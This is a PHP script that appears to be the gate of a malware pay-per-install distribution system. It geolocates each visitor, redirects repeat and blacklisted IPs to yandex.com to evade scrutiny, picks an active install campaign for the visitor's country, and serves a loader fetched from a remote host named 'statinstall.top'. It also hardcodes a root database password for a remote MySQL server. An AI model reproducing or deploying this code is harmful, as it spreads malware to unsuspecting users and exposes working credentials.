<?php
error_reporting(-1); // reports all errors
ini_set("display_errors", "1"); // shows all errors
ini_set("log_errors", 1);
require 'vendor/autoload.php';
use GeoIp2\Database\Reader;
$host = '185.203.118.216';
$db   = 'traffic';
$user = 'root';
$pass = 'EdQe4ud06H';
$charset = 'utf8';

$dsn = "mysql:host=$host;dbname=$db;charset=$charset";
$opt = [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   => false,
];
$pdo = new PDO($dsn, $user, $pass, $opt);

$url = "http://www.statinstall.top/111/rgfdrw/fgdf434/cloader";
$offer = 2;



$ip = getIP();

if (strpos($ip, ',') !== false) {
    $ip_arr = explode(",", $ip);
    $ip = $ip_arr[0];

}

$reader = new Reader('GeoLite2-Country.mmdb');

try{

    $reader = new Reader('GeoLite2-Country.mmdb');

    $record = $reader->country($ip);
    $country = $record->country->name;
    $cc  =   $record->country->isoCode;
//add to db info

}
catch (GeoIp2\Exception\AddressNotFoundException $e ){
    $country = "Not found";
    $cc = "CA";
}






//////black list

$a = $pdo->prepare('select * from ip_blacklist where ip = :ip limit 1');
$a->bindParam(':ip', $ip);

$a->execute();



if ($a->rowCount() > 0)
{
    //count++
    header('Location: http://yandex.com/');
    exit;
}

$b = $pdo->prepare('select * from `hits` where ip = :ip limit 1');
$b->bindParam(':ip', $ip);

$b->execute();



if ($b->rowCount() > 0)
{

    $s = $pdo->prepare('insert into ip_blacklist (ip, hit_count) values (:ip, 0)');
    $s->bindParam(':ip', $ip);


    $s->execute();

    header('Location: http://yandex.com/');


    exit;
}
//black list end






$stmt = $pdo->prepare('
select * from `traffic_task` where `status` = "work" and `oq` = 1 and exists (select `cc` from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id` and `cc` = \''.$cc.'\') and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = \''.$cc.'\') and `traffic_task`.`intsllas` < `traffic_task`.`amout` or not exists (select * from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id`) and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = \''.$cc.'\') and `status` = "work" and `oq` = 1 and `traffic_task`.`intsllas` < `traffic_task`.`amout` order by `last_install`  limit 1');
$stmt->execute();

if ($stmt->rowCount() > 0)
{
    $res = $stmt->fetchAll();
    $q =  $pdo->prepare('insert into `hits` (`ip`, `country`, `task_id`, `offer_id`, `created_at`) values (:ip, :country, :task_id, :offer_id, :date )');
    $q->bindParam(':ip', $ip);
     $date = date('Y-m-d H:i:s');
    $q->bindParam(':date', $date);
    $q->bindParam(':task_id', $res[0]['id']);
    $q->bindParam(':country', $country);
    $q->bindParam(':offer_id', $offer);
    $q->execute();
    $date = date('Y-m-d H:i:s');
    $stmt = $pdo->prepare('update `traffic_task` set `last_install` = :date , `intsllas` = `intsllas` + 1  where `id` = :task_id limit 1');
    $stmt->bindParam(':date', $date);
    $stmt->bindParam(':task_id', $res[0]['id']);
    $stmt->execute();

    $txt = $url . $res[0]['file_txt'];

    echo file_get_contents($txt);





}
else
{

    //таск в очереди
    $stmt = $pdo->prepare('select * from `traffic_task` where `status` = "work" and exists (select `cc` from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id` and `cc` = \''.$cc.'\') and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = \''.$cc.'\') and `traffic_task`.`intsllas` < `traffic_task`.`amout` or not exists (select * from `traffic_task_country` where `traffic_task`.`id` = `traffic_task_country`.`task_id`) and not exists (select `cc` from `traffic_task_country_black` where `traffic_task`.`id` = `traffic_task_country_black`.`task_id` and `cc` = \''.$cc.'\') and `status` = "work" and `traffic_task`.`intsllas` < `traffic_task`.`amout` order by `last_install`  limit 1');
    $stmt->execute();

    if ($stmt->rowCount() > 0)
    {
        $res = $stmt->fetchAll();
        $date = date('Y-m-d H:i:s');
        $q =  $pdo->prepare('insert into `hits` (`ip`, `country`, `task_id`, `offer_id`, `created_at`) values (:ip, :country, :task_id, :offer_id, :date )');
        $q->bindParam(':ip', $ip);
        $q->bindParam(':date', $date);
        $q->bindParam(':task_id', $res[0]['id']);
        $q->bindParam(':country', $country);
        $q->bindParam(':offer_id', $offer);
        $q->execute();

        $date = date('Y-m-d H:i:s');
        $stmt = $pdo->prepare('update `traffic_task` set `last_install` = :date , `intsllas` = `intsllas` + 1 where `id` = :task_id limit 1');
        $stmt->bindParam(':date', $date);
        $stmt->bindParam(':task_id', $res[0]['id']);
        $stmt->execute();

        $txt = $url . $res[0]['file_txt'];

        echo file_get_contents($txt);





    }
    else
    {

        //таска нет



    }


}










function getIP()
{
    if (isset($_SERVER["HTTP_X_REAL_IP"]))
        return $_SERVER["HTTP_X_REAL_IP"];
    else if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]))
        return $_SERVER ["HTTP_X_FORWARDED_FOR"];
    return $_SERVER['REMOTE_ADDR'];
}